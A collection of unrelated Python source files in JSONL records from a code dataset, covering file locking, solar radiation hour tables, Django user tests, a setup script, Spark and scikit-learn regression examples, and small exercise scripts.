FILELOCK_EXCLUSIVE == self._locktype:\n flags = FILELOCK_EXCLUSIVE\n else:\n raise err.LockFileError('does not support this lock type')\n if not blocking:\n flags |= FILELOCK_NONBLOCKING\n ret = None\n try:\n ret = fcntl.flock(self._fhandle, flags)\n except IOError as error:\n raise err.LockFileError(error)\n except Exception as error:\n raise err.LockFileError(error)\n return ret\n\n def unlock(self):\n \"\"\"unlock the locked file\"\"\"\n try:\n fcntl.flock(self._fhandle, FILELOCK_UNLOCK)\n except Exception as error:\n raise err.LockFileError(error)\n\n\nclass TempFile(object):\n \"\"\"\n The temp file will be deleted immediately after the lifetime of it ends.\n\n You can use cup TempFile like the original Python File Object.\n\n ::\n\n tmp = TempFile('./', prefix='xxxx', suffix='.tmp')\n tmp.write / read /seek / etc\n tmp.close()\n \"\"\"\n def __init__(self, filedir, prefix='', suffix=''):\n \"\"\"\n :param filedir:\n temp file dir which contains the temp file\n\n :prefix:\n prefix of the temp filename\n\n :suffix:\n suffix of the file name. e.g. '.tmp'.\n \"\"\"\n self._fdir = filedir\n self._fp = None\n self._prefix = prefix\n self._suffix = suffix\n\n def __enter__(self):\n \"\"\"enter\"\"\"\n if platforms.is_linux():\n self._fp = tempfile.TemporaryFile(\n dir=self._fdir,\n prefix=self._prefix,\n suffix=self._suffix\n )\n return self._fp\n else:\n raise err.NotImplementedYet('TemporaryFile')\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n \"\"\"\n exit\n \"\"\"\n if platforms.is_linux():\n self._fp.close()\n\n# vi:set tw=0 ts=4 sw=4 nowrap fdm=indent\n","sub_path":"cup/exfile.py","file_name":"exfile.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"441162977","text":"import os\nimport pandas as pd\nimport numpy as np\nimport pickle\nfrom simpledbf import Dbf5\n\nimport cea.inputlocator\n\ndef calculate_sunny_hours_of_year(locator, sunrise):\n # run the transformation of files appending all and adding non-sunshine hours\n temporary_folder = locator.get_temporary_folder()\n result_file_path = os.path.join(temporary_folder, 'sunny_hours_of_year.pickle')\n\n sunny_hours_per_day = []\n for day in range(1, 366):\n result = calculate_sunny_hours_of_day(day, sunrise, temporary_folder)\n result = result.apply(pd.to_numeric, downcast='integer')\n sunny_hours_per_day.append(result)\n sunny_hours_of_year = sunny_hours_per_day[0]\n for df in sunny_hours_per_day[1:]:\n for column in df.columns:\n if column.startswith('T'):\n sunny_hours_of_year[column] = df[column].copy()\n # sunny_hours_of_year = sunny_hours_of_year.merge(df, on='ID', how='outer')\n sunny_hours_of_year = sunny_hours_of_year.fillna(value=0)\n return sunny_hours_of_year\n\n\ndef calculate_sunny_hours_of_day(day, sunrise, temporary_folder):\n \"\"\"\n :param day:\n :type day: int\n :param sunrise: what is this? seems to be a list of sunrise times, but for the ecocampus case, I get a list of\n ints like 22 and 23... that can't be right, right?\n :type sunrise: list[int]\n :param temporary_folder: path to temporary folder with the radiations per day\n :return:\n \"\"\"\n radiation_sunnyhours = np.round(Dbf5(os.path.join(temporary_folder, 'Day_%(day)i.dbf' % locals())).to_dataframe(),\n 2)\n\n # Obtain the number of points modeled to do the iterations\n radiation_sunnyhours['ID'] = 0\n radiation_sunnyhours['ID'] = range(1, radiation_sunnyhours.ID.count() + 1)\n\n # Table with empty values with the same range as the points.\n Table = pd.DataFrame.copy(radiation_sunnyhours)\n listtimes = ['T1', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7', 'T8', 'T9', 'T10', 'T11', 'T12', 'T13', 'T14', 'T15', 'T16',\n 'T17', 'T18', 'T19', 'T20', 'T21', 'T22', 'T23', 'T24']\n for x in listtimes:\n Table[x] = 0\n Table.drop('T0', axis=1, inplace=True)\n\n # Counter of Columns in the Initial Table\n Counter = radiation_sunnyhours.count(1)[0]\n values = Counter - 1\n # Calculation of Sunrise time\n Sunrise_time = sunrise[day - 1]\n # Calculation of table\n for x in range(values):\n Hour = int(Sunrise_time) + int(x)\n Table['T' + str(Hour)] = radiation_sunnyhours['T' + str(x)]\n\n # rename the table for every T to get in 1 to 8760 hours.\n if day <= 1:\n name = 1\n else:\n name = int(day - 1) * 24 + 1\n\n Table.rename(\n columns={'T1': 'T' + str(name), 'T2': 'T' + str(name + 1), 'T3': 'T' + str(name + 2), 'T4': 'T' + str(name + 3),\n 'T5': 'T' + str(name + 4),\n 'T6': 'T' + str(name + 5), 'T7': 'T' + str(name + 6), 'T8': 'T' + str(name + 7),\n 'T9': 'T' + str(name + 8), 'T10': 'T' + str(name + 9),\n 'T11': 'T' + str(name + 10), 'T12': 'T' + str(name + 11), 'T13': 'T' + str(name + 12),\n 'T14': 'T' + str(name + 13), 'T15': 'T' + str(name + 14),\n 'T16': 'T' + str(name + 15), 'T17': 'T' + str(name + 16), 'T18': 'T' + str(name + 17),\n 'T19': 'T' + str(name + 18), 'T20': 'T' + str(name + 19),\n 'T21': 'T' + str(name + 20), 'T22': 'T' + str(name + 21), 'T23': 'T' + str(name + 22),\n 'T24': 'T' + str(name + 23), 'ID': 'ID'}, inplace=True)\n\n return Table\n\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--scenario', help='path to the scenario')\n parser.add_argument('--sunrise-pickle', help='path to pickle of the sunrise array')\n parser.add_argument('--sunny-hours-pickle', help='path to pickle of the result (STORE result here)')\n args = parser.parse_args()\n\n locator = cea.inputlocator.InputLocator(scenario=args.scenario)\n sunrise = pickle.load(open(args.sunrise_pickle, 'r'))\n\n sunny_hours_of_year = calculate_sunny_hours_of_year(locator=locator, sunrise=sunrise)\n sunny_hours_of_year.to_pickle(args.sunny_hours_pickle)\n","sub_path":"legacy/radiation_arcgis/calculate_sunny_hours_of_year.py","file_name":"calculate_sunny_hours_of_year.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"433238256","text":"from .base import BaseTest\nfrom posthog.models import User\n\nclass TestUser(BaseTest):\n TESTS_API = True\n def test_redirect_to_site(self):\n self.team.app_url = 'http://somewebsite.com'\n self.team.save()\n response = self.client.get('/api/user/redirect_to_site/?actionId=1')\n self.assertIn('http://somewebsite.com', response.url)\n\n def test_create_user_when_restricted(self):\n with self.settings(RESTRICT_SIGNUPS='posthog.com,uk.posthog.com'):\n with self.assertRaisesMessage(ValueError, \"Can't sign up with this email\"):\n User.objects.create_user(email='tim@gmail.com')\n\n user = User.objects.create_user(email='tim@uk.posthog.com')\n self.assertEqual(user.email, 'tim@uk.posthog.com')\n\n def test_create_user_with_distinct_id(self):\n with self.settings(TEST=False):\n user = User.objects.create_user(email='tim@gmail.com')\n self.assertNotEqual(user.distinct_id, '')\n self.assertNotEqual(user.distinct_id, None)\n\nclass TestLoginViews(BaseTest):\n def test_redirect_to_setup_admin_when_no_users(self):\n User.objects.all().delete()\n response = self.client.get('/', follow=True)\n self.assertRedirects(response, '/setup_admin')","sub_path":"posthog/api/test/test_user.py","file_name":"test_user.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"197105948","text":"# -*- encoding: utf-8 -*-\n\nimport os\nimport sys\nfrom setuptools import setup, find_packages\n\nassert sys.version_info >= (2, 7), \"Python 2.7+ required.\"\n\ncurrent_dir = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(current_dir, 'README.rst')) as readme_file:\n with open(os.path.join(current_dir, 'CHANGES.rst')) as changes_file:\n long_description = readme_file.read() + '\\n' + changes_file.read()\n\nsys.path.insert(0, current_dir + os.sep + 'src')\nfrom ralph_assets import VERSION\nrelease = \".\".join(str(num) for num in VERSION)\n\nsetup(\n name='ralph_assets',\n version=release,\n author='Grupa Allegro Sp. z o.o. and Contributors',\n author_email='it-ralph-dev@allegro.pl',\n description=\"Assets management module for Ralph\",\n long_description=long_description,\n url='http://ralph.allegrogroup.com/',\n keywords='',\n platforms=['any'],\n license='Apache Software License v2.0',\n packages=find_packages('src'),\n include_package_data=True,\n package_dir={'': 'src'},\n zip_safe=False, # because templates are loaded from file path\n install_requires=[\n 'django-mptt==0.5.5',\n 'xlrd==0.9.2',\n 'inkpy==0.1.0-alpha',\n 'django-search-forms[ajax]==0.5',\n 'factory-boy==2.3.1',\n ],\n entry_points={\n 'django.pluggable_app': [\n 'assets = ralph_assets.app:Assets',\n ],\n },\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Framework :: Django',\n 'Intended Audience :: System Administrators',\n 'License :: OSI Approved :: Apache Software License',\n 'Natural Language :: English',\n 'Operating System :: POSIX',\n 'Operating System :: MacOS :: MacOS X',\n 'Operating System :: Microsoft :: Windows :: Windows NT/2000',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 2 :: Only',\n 'Topic :: Internet :: WWW/HTTP',\n ]\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"527501768","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC ## Overview\n# MAGIC \n# MAGIC This notebook will show you how to create and query a table or DataFrame that you uploaded to DBFS. [DBFS](https://docs.databricks.com/user-guide/dbfs-databricks-file-system.html) is a Databricks File System that allows you to store data for querying inside of Databricks. This notebook assumes that you have a file already inside of DBFS that you would like to read from.\n# MAGIC \n# MAGIC This notebook is written in **Python** so the default cell type is Python. However, you can use different languages by using the `%LANGUAGE` syntax. Python, Scala, SQL, and R are all supported.\n\n# COMMAND ----------\n\n# Import Spark SQL and Spark ML libraries\nfrom pyspark.sql.types import *\nfrom pyspark.sql.functions import *\n\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.feature import VectorAssembler,StringIndexer, VectorIndexer, MinMaxScaler\nfrom pyspark.ml.tuning import ParamGridBuilder, CrossValidator, TrainValidationSplit\nfrom pyspark.ml.evaluation import RegressionEvaluator, BinaryClassificationEvaluator\nfrom pyspark.ml.classification import LogisticRegression\n\nfrom pyspark.context import SparkContext\nfrom pyspark.sql.session import SparkSession\n\n# COMMAND ----------\n\nPYSPARK_CLI = True\nif PYSPARK_CLI:\n sc = SparkContext.getOrCreate()\n spark = SparkSession(sc)\n\n# COMMAND ----------\n\n# File location and type\nfile_location = \"/user/smurali2/airbnb_dataset/airbnb_US.csv\"\nfile_type = \"csv\"\n\n# CSV options\ninfer_schema = \"true\"\nfirst_row_is_header = \"true\"\ndelimiter = \",\"\n\n# The applied options are for CSV files. For other file types, these will be ignored.\ndf = spark.read.format(file_type) \\\n .option(\"inferSchema\", infer_schema) \\\n .option(\"header\", first_row_is_header) \\\n .option(\"sep\", delimiter) \\\n .load(file_location)\n\n#display(df)\n\n# COMMAND ----------\n\n# Create a view or table\ntemp_table_name = \"airbnb_sample_csv\"\ndf.createOrReplaceTempView(temp_table_name)\n\n# COMMAND ----------\n\nif PYSPARK_CLI:\n csv = spark.read.csv('/user/smurali2/airbnb_dataset/airbnb_US.csv', inferSchema=True, header=True)\nelse:\n csv = spark.sql(\"SELECT * FROM airbnb_sample_csv\")\n \n#csv.show(5)\n\n# COMMAND ----------\n\n\ncsv = csv.withColumn(\"Review Scores Rating\", when(col(\"Review Scores Rating\") >= 80,1).otherwise(0))\n#csv.show()\n\n\n# COMMAND ----------\n\ncsv = csv.filter(col(\"Minimum Nights\")<= 365)\ndata = csv.select(\"Host Response Time\",\n \"Minimum Nights\",\"Accommodates\",\"Bathrooms\",\"Bedrooms\",\"Beds\",\"Property Type\",\"Extra People\",\n \"Security Deposit\",\"Cleaning Fee\",\"Guests Included\",\"Cancellation Policy\",\"Sentiment\",col(\"Review Scores Rating\").alias(\"label\"))\n\n#data.show(10)\n#data = data.filter(col(\"Mininum Nights\")<= 365)\n#display(data.describe())\n\n# COMMAND ----------\n\ndata_clean = data.na.fill(value=0).na.fill(\"\")\n#data_clean.show(50)\n\n\n# COMMAND ----------\n\ndata_clean = StringIndexer(inputCol='Host Response Time', outputCol='Host_Response_index').fit(data_clean).transform(data_clean)\n#data_clean = StringIndexer(inputCol='Neighborhood Cleansed', outputCol='Neighborhood_index').fit(data_clean).transform(data_clean)\ndata_clean = StringIndexer(inputCol='Property Type', outputCol='PropertyType_index').fit(data_clean).transform(data_clean)\ndata_clean = StringIndexer(inputCol='Cancellation Policy', outputCol='Cancellation_index').fit(data_clean).transform(data_clean)\n\n# COMMAND ----------\n\n# Split the data\nsplits = data_clean.randomSplit([0.7, 0.3])\n\n# for logistic regression\ntrain = splits[0]\ntest = splits[1].withColumnRenamed(\"label\", \"trueLabel\")\n\n\n# for gradient boosted tree regression\n#gbt_train = splits[0]\n#gbt_test = splits[1].withColumnRenamed(\"label\", \"trueLabel\")\n\nprint (\"Training Rows:\", train.count(), \" Testing Rows:\", test.count())\n\n# COMMAND ----------\n\ncatVect = VectorAssembler(inputCols = [\"Host_Response_index\",\"PropertyType_index\",\"Cancellation_index\"], outputCol=\"catFeatures\")\n#catVect = VectorAssembler(inputCols = [stringIndexer],outputCol=\"catFeatures\")\ncatIdx = VectorIndexer(inputCol = catVect.getOutputCol(), outputCol = \"idxCatFeatures\").setHandleInvalid(\"skip\")\nnumVect = VectorAssembler(inputCols = [\"Minimum Nights\",\"Accommodates\",\"Bathrooms\",\"Bedrooms\",\"Beds\",\"Extra People\",\n \"Security Deposit\",\"Cleaning Fee\",\"Guests Included\",\"Sentiment\"], outputCol=\"numFeatures\")\nminMax = MinMaxScaler(inputCol = numVect.getOutputCol(), outputCol=\"normFeatures\")\nfeatVect = VectorAssembler(inputCols=[\"idxCatFeatures\", \"normFeatures\"], outputCol=\"features\")\nlr = LogisticRegression(labelCol=\"label\", featuresCol=\"features\")\npipeline = Pipeline(stages=[catVect,catIdx,numVect, minMax,featVect, lr])\n\n# COMMAND ----------\n\nparamGrid = ParamGridBuilder().addGrid(lr.regParam, [0.3, 0.01,0.5]).addGrid(lr.maxIter, [10, 5,20]).build() \nval = CrossValidator(estimator=pipeline, evaluator= BinaryClassificationEvaluator(), estimatorParamMaps=paramGrid,\nnumFolds=5)\n\n#val = TrainValidationSplit(estimator=pipeline, evaluator=BinaryClassificationEvaluator(), estimatorParamMaps=paramGrid, trainRatio=0.8)\n\n\n# COMMAND ----------\n\nmodel=val.fit(train)\n\n# COMMAND ----------\n\nprediction = model.transform(test)\n#predicted = prediction.select(\"features\", \"prediction\", \"trueLabel\")\npredicted = prediction.select(\"normFeatures\", \"prediction\", \"trueLabel\")\npredicted.show()\n\n# COMMAND ----------\n\ntp = float(predicted.filter(\"prediction == 1.0 AND truelabel == 1\").count())\nfp = float(predicted.filter(\"prediction == 1.0 AND truelabel == 0\").count())\ntn = float(predicted.filter(\"prediction == 0.0 AND truelabel == 0\").count())\nfn = float(predicted.filter(\"prediction == 0.0 AND truelabel == 1\").count())\nmetrics = spark.createDataFrame([\n (\"TP\", tp),\n (\"FP\", fp),\n (\"TN\", tn),\n (\"FN\", fn),\n (\"Precision\", tp / (tp + fp)),\n (\"Recall\", tp / (tp + fn))],[\"metric\", \"value\"])\nmetrics.show()\n\n\n# COMMAND ----------\n\n# LogisticRegression: rawPredictionCol=\"prediction\", metricName=\"areaUnderROC\"\nevaluator = BinaryClassificationEvaluator(labelCol=\"trueLabel\", rawPredictionCol=\"prediction\", metricName=\"areaUnderROC\")\nauc = evaluator.evaluate(prediction)\nprint (\"AUC = \", auc)\n","sub_path":"Rating/Spark ML/Python files/Airbnb_Review_Scores_Rating_Logistic_Regression.py","file_name":"Airbnb_Review_Scores_Rating_Logistic_Regression.py","file_ext":"py","file_size_in_byte":6154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"437286160","text":"import numpy as np\nimport os\n\nfrom datetime import datetime\nfrom pytz import timezone\n\n\nclass Experiment(object):\n\n def __init__(self, config, seg_exper, run_args=None):\n\n # logging\n self.epoch_id = 0\n self.fold_id = None\n self.chkpnt_dir = None\n self.logger = None\n # will be set to a relative path w.r.t. root directory of python project\n self.output_dir = None\n self.optimizer = None\n # set this later\n self.batches_per_epoch = 0\n self.run_args = run_args\n self.exper_label = None\n self.fold_id = None\n self.config = config\n self.model_name = \"\"\n self.epoch_stats = None\n self.val_stats = None\n self.test_stats = None\n self.stats_path = None\n self.num_val_runs = 0\n self.val_run_id = -1\n self.init_statistics()\n self.test_results_per_epoch = None\n self.exper_label = self.create_exper_label(seg_exper)\n self.fold_id = seg_exper.run_args.fold_ids[0]\n self._set_path()\n\n def init_statistics(self):\n if self.run_args.val_freq != 0:\n self.num_val_runs = (self.run_args.epochs // self.run_args.val_freq)\n\n if self.run_args.epochs % self.run_args.val_freq == 0:\n pass\n else:\n # one extra run because max epoch is not divided by val_freq\n self.num_val_runs += 1\n self.epoch_stats = {'lr': np.zeros(self.run_args.epochs),\n 'loss': np.zeros(self.run_args.epochs),\n 'f1': np.zeros(self.num_val_runs),\n 'roc_auc': np.zeros(self.num_val_runs),\n 'pr_auc': np.zeros(self.num_val_runs),\n 'prec': np.zeros(self.num_val_runs),\n 'rec': np.zeros(self.num_val_runs)\n }\n self.val_stats = {'epoch_ids': np.zeros(self.num_val_runs),\n 'loss': np.zeros(self.num_val_runs),\n 'f1': np.zeros(self.num_val_runs),\n 'roc_auc': np.zeros(self.num_val_runs),\n 'pr_auc': np.zeros(self.num_val_runs),\n 'prec': np.zeros(self.num_val_runs),\n 'rec': np.zeros(self.num_val_runs)}\n self.test_stats = {'test_id': None,\n 'loss': None,\n 'f1': None,\n 'roc_auc': None,\n 'pr_auc': None,\n 'prec': None,\n 'rec': None}\n\n def get_loss(self, validation=False):\n\n if not validation:\n return self.epoch_stats[\"loss\"]\n else:\n return self.val_stats[\"loss\"]\n\n @property\n def validation_epoch_ids(self):\n return self.val_stats['epoch_ids']\n\n def _set_path(self):\n\n if self.run_args.log_dir is None:\n self.run_args.log_dir = str.replace(datetime.now(timezone('Europe/Berlin')).strftime(\n '%Y-%m-%d %H:%M:%S.%f')[:-7], ' ', '_') + \"_\" + self.exper_label + \\\n \"_lr\" + \"{:.0e}\".format(self.run_args.lr)\n self.run_args.log_dir = str.replace(str.replace(self.run_args.log_dir, ':', '_'), '-', '')\n\n else:\n # custom log dir\n self.run_args.log_dir = str.replace(self.run_args.log_dir, ' ', '_')\n self.run_args.log_dir = str.replace(str.replace(self.run_args.log_dir, ':', '_'), '-', '')\n log_dir = os.path.join(self.config.log_root_path, self.run_args.log_dir)\n if not os.path.isdir(log_dir):\n os.makedirs(log_dir)\n fig_path = os.path.join(log_dir, self.config.figure_path)\n os.makedirs(fig_path)\n # make directory for exper statistics\n self.stats_path = os.path.join(log_dir, self.config.stats_path)\n os.makedirs(self.stats_path)\n if self.run_args.chkpnt:\n self.chkpnt_dir = os.path.join(log_dir, self.config.checkpoint_path)\n os.makedirs(self.chkpnt_dir)\n self.output_dir = log_dir\n\n @property\n def log_directory(self):\n return self.output_dir\n\n @property\n def root_directory(self):\n return self.config.root_dir\n\n def set_new_config(self, new_config):\n self.config = new_config\n\n def copy_from_object(self, obj):\n\n for key, value in obj.__dict__.iteritems():\n self.__dict__[key] = value\n\n def create_exper_label(self, seg_exper):\n if seg_exper.run_args.loss_function == \"softdice\":\n loss_func_name = \"sdice\"\n elif seg_exper.run_args.loss_function == \"brier\":\n loss_func_name = \"brier\"\n elif seg_exper.run_args.loss_function == \"cross-entropy\":\n loss_func_name = \"entrpy\"\n else:\n raise ValueError(\"ERROR - {} as loss functional is not supported!\".format(seg_exper.run_args.loss_function))\n\n # prepare type of map indication, indicate whether the maps is used in prediction or only to indicate\n # the degenerate slices based on their dice score (we need the test predictions for that from the former\n # experiments\n map_name = \"no\" + self.run_args.type_of_map.replace(\"_\", \"\") if self.run_args.use_no_map else \\\n self.run_args.type_of_map.replace(\"_\", \"\")\n prob = \"p\" + str(seg_exper.run_args.drop_prob).replace(\".\", \"\")\n prob += \"_\" + loss_func_name + \"_\" + map_name\n exper_label = self.run_args.model + \"_f\" + str(seg_exper.run_args.fold_ids[0]) + \\\n prob + \"_\" + str(self.run_args.epochs / 1000) + \"KE\"\n\n return exper_label\n","sub_path":"utils/dslices/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":5791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"397273457","text":"from math import log\nimport matplotlib.pyplot as plt\n\nalfa = 1/15\nm = 2**32\nc = 1664525\na = 1013904223\nseed = 94059\nnums = list()\nexp = 0\nfor i in range(0,100000):\n\n x = ((a*seed + c) % m)/m\n exp = (log(1-x)/alfa)*(-1)\n nums.insert(i,exp)\n seed = x\n\nplt.hist(nums,color='green')\nplt.title('Distribucion de los numeros aleatorios obtenidos',color = 'blue')\nplt.xlabel('Numeros obtenidos', color = 'blue')\nplt.ylabel('Cantidad de apariciones',color = 'blue')\nplt.show()","sub_path":"tp/ej2.py","file_name":"ej2.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"646891034","text":"# fname = raw_input(\"Enter file name: \")\nfname = \"mbox-short.txt\"\n\nfh = open(fname)\ncount = 0\n\nfor line in fh:\n if line.startswith(\"From \"):\n count += 1\n print(line.split(\" \")[1])\n\nprint(\"There were \" + str(count) + \" lines in the file with From as the first word\")\n","sub_path":"python-data/8.5/assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"484364214","text":"# encoding: utf-8\n\"\"\" 线性回归 预测 糖尿病\n\n * [Diabetes数据集线性回归:最小平方回归](https://blog.csdn.net/kt513226724/article/details/79801317)\n * [sklearn.linear_model.LinearRegression](http://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LinearRegression.html#sklearn.linear_model.LinearRegression)\n\"\"\"\nimport numpy as np\nfrom sklearn import datasets, linear_model\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport matplotlib.pyplot as plt\n\n# 1、加载diabetes(糖尿病)数据集\ndiabetes = datasets.load_diabetes()\n\n\n# 数据前十列数值为生理数据,分别表示\n# 年龄,性别,体质指数,血压,S1,S2,S3,S4,S5,S6(六种血清的化验数据)\nprint(diabetes.data[0])\n'''\n[ 0.03807591 0.05068012 0.06169621 0.02187235 -0.0442235 -0.03482076\n -0.04340085 -0.00259226 0.01990842 -0.01764613]\n'''\n# 这些数据经过均值中心化处理,然后用用标准差乘以个体数量调整了数值范围,所以任何一列数值和为1\n\n\n# 表明疾病进展的数据,用target属性获得\ndiabetes.target\n# 介乎于25到346之间的整数\n\n\n\n# 2、建立Use only one feature\n# diabetes_X = diabetes.data[:, np.newaxis]\ndiabetes_X = diabetes.data\n\n# Split the data into training/testing sets\ndiabetes_X_train = diabetes_X[:-20]\ndiabetes_X_test = diabetes_X[-20:]\n# Split the targets into training/testing sets\ndiabetes_y_train = diabetes.target[:-20]\ndiabetes_y_test = diabetes.target[-20:]\nprint(diabetes_X_train.shape)\nprint(diabetes_y_train.shape)\n\n\n# Create linear regression object\nmodel = linear_model.LinearRegression()\n\n# Train the model using the training sets\nmodel.fit(diabetes_X_train, diabetes_y_train)\n\n# Make predictions using the testing set\ndiabetes_y_pred = model.predict(diabetes_X_test)\nprint(diabetes_y_test)\nprint(diabetes_y_pred)\n\n\n\n# The coefficients 调用预测模型的coef_属性,就可以得到每种生理数据的回归系数b\nprint('Coefficients: \\n', model.coef_)\n# The mean squared error\nprint(\"Mean squared error: %.2f\"\n % mean_squared_error(diabetes_y_test, diabetes_y_pred))\n# 可以用方差来评价预测结果好坏,方差越接近1,说明预测越准确\nprint('Variance score: %.2f' % r2_score(diabetes_y_test, diabetes_y_pred))\n\n# Plot outputs\nplt.plot(diabetes_y_test, color='blue', label='test')\nplt.plot(diabetes_y_pred, color='red', label='pred')\n\n# plt.xticks(())\n# plt.yticks(())\n\nplt.legend(loc='best')\nplt.show()\n\n\n","sub_path":"linear_model/01_linear_regression.py","file_name":"01_linear_regression.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}